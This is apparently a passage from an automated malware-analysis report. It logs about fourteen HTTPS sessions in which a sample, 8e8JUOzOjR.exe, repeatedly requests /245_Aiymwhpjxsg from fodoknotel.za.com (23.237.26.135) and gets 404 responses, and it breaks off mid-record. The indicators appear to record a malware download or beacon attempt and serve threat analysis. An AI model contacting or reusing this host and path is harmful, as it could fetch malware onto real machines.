2025-01-14 07:25:47 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:47 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:47 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50021	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:47 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:48 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:48 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:48 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50028	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:48 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:48 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:48 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:48 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50035	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:49 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:49 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:49 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:49 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50042	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:50 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:50 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:50 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:50 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50052	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:51 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:51 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:51 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:51 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50060	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:52 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:52 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:52 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:52 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50068	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:53 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:53 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:53 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:53 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50075	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:54 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:54 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:54 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:54 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50082	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:55 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:55 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:55 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:55 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50089	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:55 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:56 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:56 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:56 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50096	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:56 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:57 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:56 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:57 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50103	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:57 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:57 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:57 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:57 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50110	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:58 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:25:58 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:25:58 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:25:58 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50118	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
